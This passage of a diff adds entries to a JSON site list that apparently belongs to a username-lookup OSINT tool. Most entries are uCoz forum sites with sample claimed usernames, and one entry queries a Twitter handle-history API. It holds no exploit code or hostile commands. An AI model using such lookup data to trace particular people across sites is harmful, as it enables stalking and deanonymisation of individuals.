"engine": "uCoz", + "urlMain": "http://velozone.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "chelentano.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://chelentano.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "osiris.at.ua": { + "engine": "uCoz", + "urlMain": "http://osiris.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vch3469.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://vch3469.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sloboganec.at.ua": { + "engine": "uCoz", + "urlMain": "http://sloboganec.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pticevodov.ru": { + "engine": "uCoz", + "urlMain": "http://pticevodov.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4277724, + "disabled": true + }, + "nwo-team.ru": { + "disabled": true, + "engine": "uCoz", + "alexaRank": 8639189, + "urlMain": "http://nwo-team.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "aviahistory.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 3681403, + "urlMain": "http://aviahistory.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nuzar.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://nuzar.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "toys22.ru": { + "engine": "uCoz", + "urlMain": "http://toys22.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red" + }, + "sharzh-portret.ru": { + "engine": "uCoz", + "urlMain": "http://sharzh-portret.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ohorona.at.ua": { + "engine": "uCoz", + "urlMain": "http://ohorona.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "grigorovo.clan.su": { + "engine": "uCoz", + "urlMain": "http://grigorovo.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ganjaspice.at.ua": { + "engine": "uCoz", + "urlMain": "http://ganjaspice.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "muz-fresh.ucoz.kz": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "alexaRank": 280915, + "urlMain": "http://muz-fresh.ucoz.kz", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "78-3.do.am": { + "engine": "uCoz", + "urlMain": "http://78-3.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "uko.at.ua": { + "engine": "uCoz", + "urlMain": "http://uko.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "faillyuboi.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://faillyuboi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "koshtoris.at.ua": { + "engine": "uCoz", + "alexaRank": 6118066, + "urlMain": "http://koshtoris.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pio-bets.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pio-bets.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "clan-sg.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://clan-sg.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "samsungmobile.pp.net.ua": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 943967, + "urlMain": "http://samsungmobile.pp.net.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "specchiasol.ru": { + "engine": "uCoz", + "urlMain": "http://specchiasol.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mytechbook.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://mytechbook.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "led-vector.ru": { + "engine": "uCoz", + "urlMain": "http://led-vector.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mariupol4x4.clan.su": { + "engine": "uCoz", + "urlMain": "http://mariupol4x4.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ua" + ] + }, + "shansonportal.ru": { + "engine": "uCoz", + "urlMain": "http://shansonportal.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "alikgor.at.ua": { + "engine": "uCoz", + "alexaRank": 8327078, + "urlMain": "http://alikgor.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "diablocool.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://diablocool.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "chastysc.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 5983476, + "urlMain": "http://chastysc.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "torrents-igra.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 9435758, + "urlMain": "http://torrents-igra.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "schonin.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 8240852, + "urlMain": "http://schonin.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sa-mp.ucoz.de": { + "tags": [ + "in", + "ua" + ], + "engine": "uCoz", + "alexaRank": 692260, + "urlMain": "http://sa-mp.ucoz.de", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "medvestnic.ru": { + "engine": "uCoz", + "urlMain": "http://medvestnic.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ruanekdot.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 842368, + "urlMain": "http://ruanekdot.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "novayamebel.at.ua": { + "engine": "uCoz", + "urlMain": "http://novayamebel.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "directx10.org": { + "engine": "uCoz", + "alexaRank": 4492767, + "urlMain": "http://directx10.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "3glaz.org": { + "engine": "uCoz", + "urlMain": "http://3glaz.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ] + }, + "kfir-zahav.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kfir-zahav.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kadroviku.ru": { + "engine": "uCoz", + "alexaRank": 3541673, + "urlMain": "http://kadroviku.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "necromancers.clan.su": { + "engine": "uCoz", + "urlMain": "http://necromancers.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "iberia-pw.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://iberia-pw.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "greenbacks.at.ua": { + "engine": "uCoz", + "urlMain": "http://greenbacks.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "finance", + "ru" + ] + }, + "lakshmi-fm.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://lakshmi-fm.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "death-note.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://death-note.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "moneysfirst.ru": { + "engine": "uCoz", + "urlMain": "http://moneysfirst.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "pirohimic.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pirohimic.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "goroskop.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://goroskop.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "warez-pirati.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://warez-pirati.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "icu.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://icu.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "kinomir.org": { + "engine": "uCoz", + "urlMain": "http://kinomir.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "tmk.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://tmk.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "yerkramas.do.am": { + "engine": "uCoz", + "urlMain": "http://yerkramas.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gt-garazh.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://gt-garazh.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "firasmartincome.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://firasmartincome.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gifts.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://gifts.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "bashtanka.at.ua": { + "engine": "uCoz", + "urlMain": "http://bashtanka.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spishu.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 737634, + "urlMain": "http://spishu.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "psychotype.info": { + "engine": "uCoz", + "urlMain": "http://psychotype.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "partner.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://partner.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sony127.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://sony127.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sat-electronics.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sat-electronics.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "teplohorosho.ru": { + "engine": "uCoz", + "alexaRank": 5706091, + "urlMain": "http://teplohorosho.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pro-svet.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pro-svet.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "memory57.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 3796777, + "urlMain": "http://memory57.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "memory.lol": { + "tags": [ + "messaging" + ], + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "checkType": "message", + "absenceStrs": [ + "{\"accounts\":[]}" + ], + "presenseStrs": [ + "{\"accounts\":[{" + ], + "source": "Twitter", + "urlMain": "https://memory.lol", + "url": "https://api.memory.lol/v1/tw/{username}", + "usernameClaimed": "libsoftiktok", + "usernameUnclaimed": "noonewould123" + }, + "metroman.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://metroman.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tv.ucoz.club": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 84821, + "urlMain": "http://tv.ucoz.club", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "baggi.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://baggi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn--90aybfeg.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn--90aybfeg.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mediatv.ucoz.net": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://mediatv.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kazamuza.net": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "alexaRank": 453200, + "urlMain": "http://kazamuza.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gorbuha.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://gorbuha.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "komarovo.clan.su": { + "engine": "uCoz", + "urlMain": "http://komarovo.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kino-hit.clan.su": { + "engine": "uCoz", + "urlMain": "http://kino-hit.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "big-game.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://big-game.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "rodobozhie.ru": { + "engine": "uCoz", + "alexaRank": 6023633, + "urlMain": "http://rodobozhie.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "mox.vo.uz": { + "engine": "uCoz", + "alexaRank": 2604530, + "urlMain": "http://mox.vo.uz", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "zareshetkoi.my1.ru": { + "engine": "uCoz", + "urlMain": "http://zareshetkoi.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "bot-cs.at.ua": { + "engine": "uCoz", + "urlMain": "http://bot-cs.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gool-live.at.ua": { + "engine": "uCoz", + "urlMain": "http://gool-live.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "gsm-standart.clan.su": { + "engine": "uCoz", + "urlMain": "http://gsm-standart.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "soft-deniz.ucoz.ru": { + "engine": "uCoz", + "alexaRank": 4126874, + "urlMain": "http://soft-deniz.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "rasskazovskie.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://rasskazovskie.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "162nord.org": { + "engine": "uCoz", + "urlMain": "http://162nord.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "lifeway.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://lifeway.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pochikimyk.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pochikimyk.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "counter-art.ru": { + "engine": "uCoz", + "urlMain": "http://counter-art.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 3125198 + }, + "karkulis.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://karkulis.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "bce-tyt.ru": { + "engine": "uCoz", + "alexaRank": 5539610, + "urlMain": "http://bce-tyt.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "moments.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://moments.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "ibmt.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://ibmt.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "shipsondesk.info": { + "engine": "uCoz", + "urlMain": "http://shipsondesk.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vrn-sms.ru": { + "engine": "uCoz", + "urlMain": "http://vrn-sms.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "inetjob.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://inetjob.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "russemya.do.am": { + "engine": "uCoz", + "urlMain": "http://russemya.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "metod-psv.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://metod-psv.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pogz5615.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://pogz5615.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "elektron.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://elektron.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "baltnethub.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://baltnethub.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "topreklama.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://topreklama.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "cosmotarolog.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://cosmotarolog.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "buyforex.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://buyforex.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "9interi.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://9interi.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sefirut.ru": { + "engine": "uCoz", + "urlMain": "http://sefirut.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vseotkritki.ru": { + "engine": "uCoz", + "urlMain": "http://vseotkritki.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "trainmodels.at.ua": { + "engine": "uCoz", + "urlMain": "http://trainmodels.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "povarenok.nov.ru": { + "engine": "uCoz", + "urlMain": "http://povarenok.nov.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "stay.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://stay.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ercevo.ru": { + "engine": "uCoz", + "urlMain": "http://ercevo.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "abho.ru": { + "engine": "uCoz", + "urlMain": "http://abho.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4301122 + }, + "l2bz.ru": { + "engine": "uCoz", + "urlMain": "http://l2bz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 9956854 + }, + "sstalkers.ru": { + "engine": "uCoz", + "urlMain": "http://sstalkers.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dhelp.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://dhelp.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "famouspeople.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://famouspeople.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "lavkachudec.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://lavkachudec.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6702666 + }, + "krasnovodsk.net": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://krasnovodsk.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sbuda.at.ua": { + "engine": "uCoz", + "urlMain": "http://sbuda.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ua" + ] + }, + "vse-o-zaz.at.ua": { + "engine": "uCoz", + "urlMain": "http://vse-o-zaz.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "apelmon.od.ua": { + "engine": "uCoz", + "urlMain": "http://apelmon.od.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vinbazar.at.ua": { + "engine": "uCoz", + "urlMain": "http://vinbazar.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "angell.at.ua": { + "engine": "uCoz", + "urlMain": "http://angell.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fareast.clan.su": { + "engine": "uCoz", + "urlMain": "http://fareast.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "foxrecord.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://foxrecord.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 10968042 + }, + "konibodom.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://konibodom.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kupluradiodetal.at.ua": { + "engine": "uCoz", + "urlMain": "http://kupluradiodetal.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ua" + ] + }, + "lksmu-lg.at.ua": { + "engine": "uCoz", + "urlMain": "http://lksmu-lg.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "provincialynews.ru": { + "engine": "uCoz", + "urlMain": "http://provincialynews.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7556891 + }, + "ural-sloboda.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://ural-sloboda.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "bbclub.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://bbclub.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tv-android.at.ua": { + "engine": "uCoz", + "urlMain": "http://tv-android.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "webdom.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://webdom.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "smartplay.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://smartplay.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "fcbarca.at.ua": { + "engine": "uCoz", + "urlMain": "http://fcbarca.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gym5.net": { + "engine": "uCoz", + "urlMain": "http://gym5.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6607323 + }, + "softgame.3dn.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://softgame.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "piratapes.at.ua": { + "engine": "uCoz", + "urlMain": "http://piratapes.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "azovmore.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://azovmore.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "vega.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://vega.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn----7sbb0bfjrbhdi.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn----7sbb0bfjrbhdi.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "str-upravlenie.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://str-upravlenie.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "magia.at.ua": { + "engine": "uCoz", + "urlMain": "http://magia.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mcfc-fan.ru": { + "engine": "uCoz", + "urlMain": "http://mcfc-fan.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5904389 + }, + "jek-auto.ru": { + "engine": "uCoz", + "urlMain": "http://jek-auto.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "1001facts.ru": { + "engine": "uCoz", + "urlMain": "http://1001facts.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sayty.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://sayty.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "nk-cs.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://nk-cs.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xn----7sbfejdvocrv7adem.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn----7sbfejdvocrv7adem.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "religionlaw.ru": { + "engine": "uCoz", + "urlMain": "http://religionlaw.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "chelny-diplom.ru": { + "engine": "uCoz", + "urlMain": "http://chelny-diplom.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "binhot.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://binhot.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "cybers.clan.su": { + "engine": "uCoz", + "urlMain": "http://cybers.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "likerr.ru": { + "engine": "uCoz", + "urlMain": "http://likerr.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 6972018, + "disabled": true + }, + "iptv-free.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://iptv-free.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pozdrawlandiya.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://pozdrawlandiya.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 468606 + }, + "aktualno.lv": { + "engine": "uCoz", + "urlMain": "http://aktualno.lv", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 6387028 + }, + "nicemusic.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://nicemusic.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "liderdzr.my1.ru": { + "engine": "uCoz", + "urlMain": "http://liderdzr.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "megabravo.tk": { + "engine": "uCoz", + "urlMain": "http://megabravo.tk", + 